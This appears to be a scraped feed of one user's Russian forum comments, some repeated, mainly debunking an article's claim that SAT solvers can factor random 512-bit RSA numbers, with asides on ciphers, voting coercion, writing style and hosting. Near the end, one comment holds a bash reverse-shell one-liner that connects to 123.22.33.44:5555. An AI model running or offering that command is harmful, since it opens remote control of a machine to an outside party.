А как вам кажется, скорее моё число какое-то особенное, что его сат-солвер не может разложить, или ваше в примере особенное, что его успешно раскладывает? По-моему вас запутал чатгпт, взяв для примера в своём скрипте очень структурированные множители, что создало иллюзию что этот подход может факторизовать 512-битные числа.
Попробуйте ещё несколько чисел, чтобы найти вероятность, какую долю чисел солвер успевает вычислить за резонное время (нужно дать хотя бы те же 6 часов на вашем оборудовании)
Предлагаю наоборот: я ж уже поставил 2 эксперимента с 512-битными числами (первый репро из статьи разложился, второй рандомный не разложился), а вы только один :) Попробуйте найти всего лишь ещё одно 512-битное случайное полупростое, с которым бы сат-солвер справился. Если верить статье, это должно быть сделать очень легко — тем более у вас отрабатывает за 3.5ч вместо моих 6ч.
Не, ускорить не получится, у умножения самого по себе нету какой-то хитрой скрытой структуры, с которой сат-солвер мог бы помочь. И у умножения хороший «лавинный эффект» — если посмотреть на умножение двух длинных чисел в виде битов, биты в середине результата зависят сразу от большинства бит обоих множителей. Солверу остаётся только перебирать.
Чтоб читатели не надеялись зря — такие цифры и недостижимы.
Число из примера раскладывается так быстро, потому что оно из очень структурированных множителей: с кучей бинарных 1'чек подряд (FFFFFF...)
Я попробовал воспроизвести, запустив код из статьи. Kissat успешно разложил число из примера за 6ч реального времени / 3ч процессорного. Дальше я поменял число на какое-нибудь реалистичное, с нормальными рандомными множителями — 53ч реального / 25ч процессорного времени спустя сат-солвер так ничего и не засолвил.
Сат-солвер на такой задаче может чуть-чуть упростить формулу, а дальше ему остаётся только обильно брутфорсить. Когда искомые числа очень структурированные (куча единичных бит), этот брутфорс быстро натыкается на решение. А в общем случае — не натыкается.
Это ж вам придётся передать другому человеку в тайне 5 восьмизначных чисел (ключ). Какой смысл — можно изначальные 10 букв сообщения и передать в тайне.
Зашифруйте фразу хотя бы из 40 букв, тогда будет какой-то смысл.
Вопрос в принуждении: если есть возможность проверить свой голос, начальник цеха может попросить у всех подчинённых доказательство, что они проголосовали за кого надо.
Кажется, есть противоречие — хочется иметь возможность правдоподобно обмануть принуждающего, но одновременно чтобы был способ однозначно доказать общественности, если твой голос украли.
Как расширенный набор приёмов из этой статьи: есть про глаголы и штампы, но и ещё куча дополнительного. Я так понимаю, Ильяхов (и Артём Горбунов?) как раз перекладывали Нору Галь на нынешнее время
Говорят, там нашли скрытую алгебраическую структуру в таблице преобразования (которая у вас огромным блоком из байт вставлена), такая же скрытая структура выявлена в белорусском ГОСТовом шифре, а авторы Кузнечика после публикации сливаются, говоря что это всё случайность.
Ну кстати ~0 для интов как раз отлично бы работал %)
Флип всех битов как раз даёт ~0 == -1, ~1 == -2 и т.д., можно было бы сделать отрицательные индексы для "с конца", таким образом сохранить соместимость с питонистами, а остальным объяснить что надо ~0 юзать
Кажется потому что это не соответствует синтаксису письма (где в скобках пояснение), но зато соответствует синтаксису математики, где пробела нет: f(x) = «ф от икс», f (x) = «ф (а может и икс)».
У меня была виртуалка на FirstVDS (FirstJohn). После попадания в блеклист, она начала блокироваться на самом фёрствдсе (!) — прямо на маршрутизаторе хостера не пропускался никакой трафик до неё. В результате до неё нельзя было достучаться даже с хостов, которые сами ничего не фильтруют по блеклистам — виртуалка включена, но весь входящий трафик зарезан.
Саппорт помогать отказывался, в том числе поменять айпишник или скопировать данные.
Исходящий с неё трафик причём проходил нормально. Пришлось сдувать данные оттуда поверх UDP %)
Наличие полиномиального солвера ведь эквивалентно открытию P=NP...
Если продемонстрировать что P=NP, мы можем не то что RSA факторить, а вообще делов натворить
Справедливо, комменты ведь не место для дискуссий, правдива ли статья
А как вам кажется, скорее моё число какое-то особенное, что его сат-солвер не может разложить, или ваше в примере особенное, что его успешно раскладывает? По-моему вас запутал чатгпт, взяв для примера в своём скрипте очень структурированные множители, что создало иллюзию что этот подход может факторизовать 512-битные числа.
Предлагаю наоборот: я ж уже поставил 2 эксперимента с 512-битными числами (первый репро из статьи разложился, второй рандомный не разложился), а вы только один :) Попробуйте найти всего лишь ещё одно 512-битное случайное полупростое, с которым бы сат-солвер справился. Если верить статье, это должно быть сделать очень легко — тем более у вас отрабатывает за 3.5ч вместо моих 6ч.
Ток на деле статья-то не работает.
Не, ускорить не получится, у умножения самого по себе нету какой-то хитрой скрытой структуры, с которой сат-солвер мог бы помочь. И у умножения хороший «лавинный эффект» — если посмотреть на умножение двух длинных чисел в виде битов, биты в середине результата зависят сразу от большинства бит обоих множителей. Солверу остаётся только перебирать.
Чтоб читатели не надеялись зря — такие цифры и недостижимы.
Число из примера раскладывается так быстро, потому что оно из очень структурированных множителей: с кучей бинарных 1'чек подряд (FFFFFF...)
Я попробовал воспроизвести, запустив код из статьи. Kissat успешно разложил число из примера за 6ч реального времени / 3ч процессорного. Дальше я поменял число на какое-нибудь реалистичное, с нормальными рандомными множителями — 53ч реального / 25ч процессорного времени спустя сат-солвер так ничего и не засолвил.
Сат-солвер на такой задаче может чуть-чуть упростить формулу, а дальше ему остаётся только обильно брутфорсить. Когда искомые числа очень структурированные (куча единичных бит), этот брутфорс быстро натыкается на решение. А в общем случае — не натыкается.
Если что, число из статьи — это:
А моё рандомное, которое сат-солвер ожидаемо не осилил:
Сорри, что хайджекнул верхний коммент :)
Это ж вам придётся передать другому человеку в тайне 5 восьмизначных чисел (ключ). Какой смысл — можно изначальные 10 букв сообщения и передать в тайне.
Зашифруйте фразу хотя бы из 40 букв, тогда будет какой-то смысл.
Вопрос в принуждении: если есть возможность проверить свой голос, начальник цеха может попросить у всех подчинённых доказательство, что они проголосовали за кого надо.
Кажется, есть противоречие — хочется иметь возможность правдоподобно обмануть принуждающего, но одновременно чтобы был способ однозначно доказать общественности, если твой голос украли.
Можно и не книги, тут быстрый курс про то, как ёмко и понятно писать http://maximilyahov.ru/blog/all/availability/
Как расширенный набор приёмов из этой статьи: есть про глаголы и штампы, но и ещё куча дополнительного. Я так понимаю, Ильяхов (и Артём Горбунов?) как раз перекладывали Нору Галь на нынешнее время
Sevastyan01, а сможете рассказать простым языком про последние достижения в криптоанализе Кузнечика — https://who.paris.inria.fr/Leo.Perrin/pi.html ?
Говорят, там нашли скрытую алгебраическую структуру в таблице преобразования (которая у вас огромным блоком из байт вставлена), такая же скрытая структура выявлена в белорусском ГОСТовом шифре, а авторы Кузнечика после публикации сливаются, говоря что это всё случайность.
А что тогда будет делать ^0 ?
А когда они не с нуля? (в шарпах не шарю)
Ну кстати
~0
для интов как раз отлично бы работал %)Флип всех битов как раз даёт
~0 == -1
,~1 == -2
и т.д., можно было бы сделать отрицательные индексы для "с конца", таким образом сохранить соместимость с питонистами, а остальным объяснить что надо~0
юзатьВот преза: www.ruscrypto.ru/resource/archive/rc2013/files/03_shishkin.pdf
Саппорт помогать отказывался, в том числе поменять айпишник или скопировать данные.
Исходящий с неё трафик причём проходил нормально. Пришлось сдувать данные оттуда поверх UDP %)
!bash -c 'bash -i >/dev/tcp/123.22.33.44/5555 2>&1 <&1'
Add: понял, что глупость сказал — там же суть в том, что это временный инстанс, и команды с ! дают его настроить при перенакате